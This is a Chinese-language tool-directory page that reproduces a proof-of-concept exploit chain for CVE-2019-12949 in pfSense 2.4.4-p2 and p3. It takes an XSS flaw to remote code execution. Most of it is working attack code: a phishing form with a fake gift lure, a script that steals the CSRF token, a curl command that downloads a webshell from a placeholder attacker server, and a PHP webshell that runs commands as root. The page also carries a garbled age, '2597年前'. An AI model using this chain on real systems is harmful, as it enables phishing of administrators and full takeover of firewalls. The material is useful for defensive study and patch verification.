Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-12949 — CVE-2019-12949 | Kitploit
工具/GitHubGitHub/tarantula-team/cve-2019-12949
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingCommand and ControlPayload Development
GitHubtarantula-team/cve-2019-12949

CVE-2019-12949

CVE-2019-12949

查看仓库
2597年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2019-12949] 从跨站脚本漏洞到 pfSense 2.4.4-p2 和 2.4.4-p3 的远程代码执行

信息描述:

在 pfSense 2.4.4-p2 和 2.4.4-p3 中,如果能够诱使已认证的管理员点击钓鱼页面上的按钮,攻击者可以通过 ding_command.php 和 rrd_fetch_json.php 将任意可执行代码上传到服务器。然后,远程攻击者可以在该服务器上以 root 权限运行任何命令。

研究员:The Tarantula Team 的 Enter,VinCSS(Vingroup 成员)

PoC XSS

攻击向量:https://pfSense_IP_Address/rrd_fetch_json.php

发送 POST 请求:

root@kitploit:~
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

XSS 到 RCE

攻击者可以创建一个像这样的钓鱼网站来利用 pfSense 上的 XSS 漏洞:

root@kitploit:~
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

攻击者服务器上的 payload.js 文件将包含以下 JavaScript 代码(Payload):

root@kitploit:~
<script>
	var xhr = new XMLHttpRequest();
	xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
	xhr.withCredentials=true;
	xhr.send(null);
	var resp = xhr.responseText;
	console.log(resp);
	var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
	var end_idx = resp.indexOf('" />', start_idx);
	var token = resp.slice(start_idx + 27, end_idx);
	console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
	var xhr1 = new XMLHttpRequest();
	xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
	xhr1.withCredentials=true;
	var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
	xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhr1.setRequestHeader("Content-length", params.length);
	xhr1.send(params);
</script>

攻击者服务器上的 shell.txt 文件将包含任何 PHP webshell 内容,例如:

root@kitploit:~
<?php
	system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
	phpinfo(); // show phpinfo
?>

最后,攻击者将诱骗已认证的 pfSense 管理员(受害者)访问钓鱼站点并点击钓鱼站点上的“提交”按钮。然后受害者将被重定向到 pfSense 管理站点,攻击者的 webshell 将自动成功加载到 pfSense 服务器上。

从此,远程攻击者可以在 pfSense 服务器上以 root 身份执行任意代码:

root@kitploit:~
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls
下载工具